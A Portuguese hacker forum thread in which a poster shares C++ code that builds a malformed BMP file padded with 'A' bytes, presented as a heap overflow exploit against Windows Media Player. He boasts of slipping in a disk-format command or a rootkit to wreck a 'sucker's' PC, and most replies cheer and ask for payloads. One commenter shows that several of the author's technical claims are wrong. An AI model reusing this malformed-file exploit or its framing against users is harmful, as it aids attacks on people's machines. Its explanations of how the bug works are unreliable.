Boa Noite Darkers? Tudo Bem .. Bom quem digita aqui é o seu amigo Ricardo ou Antigo Apoc4lipse
Como vocês devem ter percebidos já faz muito tempo que eu não posto nada aqui nem comentarios mais então hoje eu estou postando aqui pelo simples motivos até diria uma unica palavra - Compartilhar - Antes de Iniciar minha Materia
Vou Explicar o motivo do porque eu desapareci :
Vamos Lá
1 - Trabalho Gente estou trabalhando e isso toma muito do meu tempo na semana então não tenho como dar atenção devida ao forum
2 - Ausencia da parte do forum eu até começei uma vez a dar aulas de Threads aqui no forum mais a ausencia do pessoal quando a interrese real começou a me desmotivar a não postar mais nada afinal analisem
são muitos usuarios competentes neste forum algums a grande maioria amigos meus .. mais tirando uma parte por uma lado vem uma outra que não esta afim de trocar experiencias e sim apenas ler sem dar o credito que seria o comentario ..
resumindo eu dei uma "parada" por falta de comentarem mais tudo bem isto é um outro assunto
O que eu vim tratar aqui é a minha descoberta alias minha não de um outro haxor que não conheço que fez a descoberta e eu modifiquei o exploit afim de obter mais poder bom vamos ao assunto :
O que venho lhe falar é de um metodo que desenvolvi ( Não sei se ja existia mais se já tudo bem apenas quero passar conhecimento ) o metodo consiste na exploração do buffer ( Mémoria ) do software Windows Media Player
Através de um bug conhecido como
"Reciprocidade de Mémoria" ou seja a memoria se deixa ser Invadida e Modificada isso é pessimo amigos pois com o exploit que demonstrarei eu apenas insiro caracteres ascii mais eu poderia colocar um vírus inteiro dentro ou talvez strings maliciosas quem sabe :P
Bom teoricamente é assim que funciona .. asseguro-lhes que esse material não existe em outro lugar fora o que estou postando aqui deve existir mais que cubram menos não como vou cobrir agora e se tiver seram em ingles então poupem - me de falar que copiei algo ou etc...
Bom Darkers vamos a explicação
PARTE 1 - Entendendo o Buffer
Imaginem agora neste momento como um software é construido ele é feito de ... Códigos Obviamente + também de espaço no disco .. hum.. tbm espaço na mémoria correto??
agora imaginem que a mémoria dele deveria ser fechada a ele não acham?
somente para ele acessar .. pois é ai que se enganam .. o Media Player é Vulneravel a ponto de se deixar escrever dentro de sua mémoria de alocação ou seja o buffer interno que guarda TODA a musica dentro dele
Muitos agora imaginam o "BUFFERING..." Isto mesmo quando ele está fazendo isso Buferizando quer dizer que ele está subindo a musica inteira para dentro da mémoria dele para poder manipula-la ou seja exibir os quadros ( video ) ou ( descodificar ) no caso musica . claro aos poucos para o usuario mais certo todos vocês leitores devem pensar
Mais Ricardo o buffer é protegido correto? eu retruco com a seguinte frase "NÃO A MICRO$ Não coda buffer seguro" Então o que vamos fazer é se aproveitar dessa falha e explorar - lo
PARTE 2 Entendendo o Exploit
Bom na parte 2 eu diria que vamos aprender a usar meu exploit..
Detalhe : O Exploit que vou mostrar a vocês fui responsavel 100% pela codificação mais tirando de base outro exploit que servia para explorar uma outra falha
Bom o exploit é esse ->
#include <windows.h> //Ambiente
#include <process.h> //Manipulação de Processos..
#include <iostream> //Padrão de Escrita/Saida C++
#include <stdio.h> //Padrão de Escrita/Saida C
#include <string.h> //Manipulações de Strings
using namespace std;
//Definição do Tamanho do Arquivo
#define NOME_ARQ_BUGADO "ArqBugado_ricWMP.bmp"
//Nome do Arquivo Bugado
class Expl_WMP
//Classe de Exploração usada pelo Exploit
{
public:
WORD BMTipo; //Tipo de BM
DWORD BMTam; //Tamanho do BM
WORD BMReser1; //Byte Reservado1
WORD BMReser2; //Byte Reservado2
DWORD BMBits; //Bits Extra
void CriaPonteiragem();
};
class Expl_BMPAtrib //Classe de Exploração usará os Atributos
{
public:
DWORD BTamanho; //Tamanho do Atributo
LONG bAltura; //Altura do Atributo
LONG bLargura; //Largura do Atributo
WORD bPla; //Planejamento
WORD bBContador; //Contador
DWORD bCompresao; //Compressão
DWORD bTamanhoImagem; //Tamanho
LONG bPixelMedidorX; //Medição em Pixel X
LONG bPixelMedidorY; //Medição em Pixel Y
DWORD biUsado; //TUsados
DWORD biImportante; //Bits Importantes
};
int main( void )
{
FILE *Arquivo;
//Ponteiro para Arquivo
//Alocação no Heap para Manipular Classe Criada
Expl_WMP *bmp_W = new Expl_WMP;
Expl_BMPAtrib *bmp_Atr = new Expl_BMPAtrib;
char *BufferArquivo; //Buffer(Área de Mémoria) do Arquivo
Arquivo = fopen( NOME_ARQ_BUGADO, "w+b" );
//Cria um Arquivo Usando os Criterios de Avaliação
//Propostos pela Definição NOME_ARQ_BUGADO
if( !Arquivo ) //Testa se Arquivo foi Criado
{
cout<<"Arquivo N Pode ser Criado Erro Fatal !!"<<endl;
exit(1);
//Caso não Consigamos Criar .. Finaliza Exploit.
}
BufferArquivo = (char*)malloc( 0xA8D2 );
memset( BufferArquivo, 0x41, 0xA8D2 );
//Define o Tamanho Injetado dentro do Arquivo
bmp_W->BMTipo = 0x4D42;
bmp_W->BMTam = 0xA8D2;
bmp_W->BMReser1 = 0x00;
bmp_W->BMReser2 = 0x00;
bmp_W->BMBits = 0x00;
bmp_Atr->BTamanho = 0x28;
bmp_Atr->bAltura = 0x91;
bmp_Atr->bLargura = 0x63;
bmp_Atr->bPla = 0x01;
bmp_Atr->bBContador = 0x18;
bmp_Atr->bCompresao = 0x00;
bmp_Atr->bTamanhoImagem = 0xA89C;
bmp_Atr->bPixelMedidorX = 0x00;
bmp_Atr->bPixelMedidorY = 0x00;
bmp_Atr->biUsado = 0x00;
bmp_Atr->biImportante = 0x00;
memcpy( BufferArquivo, bmp_W, sizeof( bmp_W ));
memcpy( BufferArquivo+sizeof(bmp_W), bmp_Atr, sizeof( bmp_Atr ));
fwrite( BufferArquivo, 0xA8D2-1, 1, Arquivo );
fwrite( "\x00", 1,1, Arquivo );
//Escreve dentro do arquivo as modificações
//feitas especialmente para que componham a imagem
fclose( Arquivo );
cout<<"Arquivo Bugado Criado..."<<endl;
}
Bom analizando o voces perceberam que eu vou usar uma Imagem .BMP para fazer a infecção do buffer vamos lá
vou explicar o funcionamento completo do meu exploit...
Primeiramente ele cria um codigo que vai alocar memoria dentro de uma classe criada por min que vai encapsular o pradrão de um bmp e jogar dentro dele simples "A" Sim isso mesmo letra A vou Desculpe a expresão "Foder" o Windows Media Player com "A"s hahaha Mais então
Vamos lá apos criar a imagem cheia de As ele vai alocar dentro de uma mémoria especial .. chamada HEAP Muitos devem conheçer e dentro dela passar o meu codigo de As para o nosso ALVO :)
http://img61.imageshack.us/my.php?image=bugggg6qr.jpg (http://img61.imageshack.us/my.php?image=bugggg6qr.jpg)
Bom Amigos do Darkers isso é tudo e lembrem - se
"Nada é Seguro Nessa !@#!$! de Informatica"
=============================
Ricardo Silva de Barros ( Apoc4lipse )
Sinapse Elite Coders.
http://sinapse.plughackers.net (http://sinapse.plughackers.net)
=============================
Primeira vez que vejo malguem que explica quase todo e exploit muito bom parabéns !
Putz...Muito bom !
Nossa cara Mto bom !!!!
Sinceramente se eu fosse admin te dava até 2 pontos positivos !!
ahhuahuahua
teh +
Cara mando mto bem...
parabens!!
Ve se post mais desses daí!
vlw...
Mano, você a cada dia melhora em coding e exploração cara, vou tentar testar, ai edito o post =]
Arrazou Apoc4.
PONTO POSITIVO pelo seu trabalho e dedicação.
Grande apoc... meu c++ nem serve pra entender seu codigo brother = / mas como voce sabe tou me dedicando

Pessoal, aproveitem, isso e raro =P
Tsc tsc tsc..
Ricardo, muito foda mano. Por essas e outras que te adimiro pra caramba.
...by Cloudy
Cara, perfeito ...excepcional! Parabéns mesmo!
E concordo com você quando disse que desanima quando agente cria um topico e ninguem comenta...tira a motivação ne!
Cara,...se der posta alguns comandos que podem ser colocados nesse exploit.
Mas de boa....parabens pra voce.
Apoca, minha opinião se mantém..
Sem dúvida vc é uma das grandes promessas de programação...
Como sempre, tenho grande respeito por vc...
Parabéns..
vlw
locator.dll
Ainda sou iniciante, porém sei reconhecer quem é realmente bom...
Muito bom... e continue assim...
Um dos exploits mais explicados que já vi... e mandou muito bem em divulgar...
Fui...
By Mental_Way...
po nao fala 'mau' da micro porque daqui a poko vao te xama pra trabalhar pra eles

ta rox, vlw
heuheiahauei bmp dentro do wmp ^^
mas po, eles devem ter algum motivo neh? axo q eles fizeram d proposito... mas tb ... tem chance de ter sido um erro de programaçao... mas mesmo assim, axu q fizeram o xp com seus bugs, q foram sendo descobertos com o tempo, dai eles podem fazer otro OS e fala 'esse daki nd entra' e pronto heuihiae
mas ... ^^ axo q vc n devia t divulgado o bug aki, sl, vaum faze patch do mp, ou intaum otra versaum.. =/
mas blz
Mto bom!!! Parabéns mesmo!!!!
Simpleste ele é o CARA ficou perfeito..tanto o exploit..quanto a explicação C++ é uma linguagem linda mesmo..
QuotePARTE 1 - Entendendo o Buffer
Imaginem agora neste momento como um software é construido ele é feito de ... Códigos Obviamente + também de espaço no disco .. hum.. tbm espaço na mémoria correto??
agora imaginem que a mémoria dele deveria ser fechada a ele não acham?
somente para ele acessar .. pois é ai que se enganam .. o Media Player é Vulneravel a ponto de se deixar escrever dentro de sua mémoria de alocação ou seja o buffer interno que guarda TODA a musica dentro dele
Mais Ricardo o buffer é protegido correto? eu retruco com a seguinte frase "NÃO A MICRO$ Não coda buffer seguro" Então o que vamos fazer é se aproveitar dessa falha e explorar - lo
- Software nao sao feitos de espaco no disco, ele ocupa espaco no disco, e eh claro ocupara espaco na memoria ram uma vez carregado.
- Memoria sendo fechada? nao entendi. e nao tem logica. "memoria nao se fecha" nao achamos? nao te entendemos!
- Buffer protegido, a protecao de um buffer na memoria nao tem nada haver com buffer overflow, e sim protecao de pagina contra acesso, o que protege buffers sao checagems de limites e sob-escrita.
- Incorreto a microsoft faz o que pode pra "proteger seus programas contra buffer overflow".
Vamos lá apos criar a imagem cheia de As ele vai alocar dentro de uma mémoria especial .. chamada HEAP Muitos devem conheçer e dentro dela passar o meu codigo de As para o nosso ALVO Smiley O Windows Media Player
bom acho q entenderam .. não é?
- Hmm As nao serverm pra nada, nao te entendo! haha.
Agora imaginem se eu resolvo Colocar ... "Format C:\ /y" Ai quando um "TROUXA" Executar o Arquivo BUGADO Vai ter seu Pc Formatado TOTALMENTE pela incopetencia de uma EMPRESA de softwares Francamente Não?
Vamos ser mais Maldosos até .. e se eu resolvo Meter um Link pra meu VÍRUS favorito Vírus não que isso é ultrapassado para a era atual e se eu meto um ROOT KIT Nivel 3 que invade o Roteador do Usuario eu o Possuo por isso posso dizer é poderoso os novos "Vírus"
Bom Gente isso foi apenas uma "Grande" Amostra do Poder do Codigo C++ Agora tirem suas Conclusões
- Se vc colocar a string "Format C:\ /y" no buffer de um procedimento de leitura do WMP nada ira acontecer, pq essta string nao sao instrucoes de execucao.
- a mesma coisa se vc meter um link nada ira acontecer.
- Como vc invade um roteador? hehe
=============================
Ricardo Silva de Barros ( Apoc4lipse )
Sinapse Elite Coders.
http://sinapse.plughackers.net (http://sinapse.plughackers.net)
=============================
- hm papai noel existe "Sinapse Elite Coders."
o que um amigo meu achou
By: ccoder
Não entendi o intuito desse post...
Explique-se...
vlw
locator.dll
Simplesmente..
Ó T I M O !Parabéns Ricardo
Quote from: "locator.dll"Não entendi o intuito desse post...
Explique-se...
vlw
locator.dll
Realmente o entuito do post nao esta claro sem que tenha uma certa discordancia entre o autor do topico e eu, bom eu achei uns erros no texto dele e comentei sobre os mesmos...
Acho que quando o ricardo disse "colocar a string "Format C:\ /y" no buffer" ele quis dizer "colocar o shellcode relativo a esta instrucao", mas de forma mais simples pra que todos pudessem entender.
Isto ai shady..
Quote from: "Shady"Acho que quando o ricardo disse "colocar a string "Format C:\ /y" no buffer" ele quis dizer "colocar o shellcode relativo a esta instrucao", mas de forma mais simples pra que todos pudessem entender.
Ai pioraria, pq "Format C:\ /y" nao tem nenhum "shellcode" relativo a esse *comando, pq nao eh uma instrucao. recomendo rever seus conceitos, shellcode quer dizer codigo que abra um shell. aquela string nao eh um shellcode. nem existe instrucao para tao "comando".
Existe o que o comando faz em si. Ele apenas disse numa linguagem que todos entenderiam. Ele poderia escrever um shellcode para apagar arquivos, esta e a ideia, ccoder.
Quote from: "Shady"Existe o que o comando faz em si. Ele apenas disse numa linguagem que todos entenderiam. Ele poderia escrever um shellcode para apagar arquivos, esta e a ideia, ccoder.
Nao quero saber qual foi a ideia por traz da ideia, ele falou bem claro, "colocar a string no buffer" isso nao eh especifico e nao eh uma solucao para formatar uma particao, o que o comando faz isso no interpretador de comandos CMD.EXE(o atual) eh chamar o programa format passando argumentos para o mesmo. O correto seria se ele falasse "Colocarei codigo arbritario para formatar uma particao", ou "colocarei a string na stack e chamarei uma sub-procedure para executar o determinado comando". existe uma diferenca clara, admita que somente colocar "a string dentro do buffer" nao fara nada. e quem entendeu que isso "formataria uma maquina" apredeu errado.
pow sou novão aqui nesse forum mais ja cheguei lendo umas paradinhas legalz fuix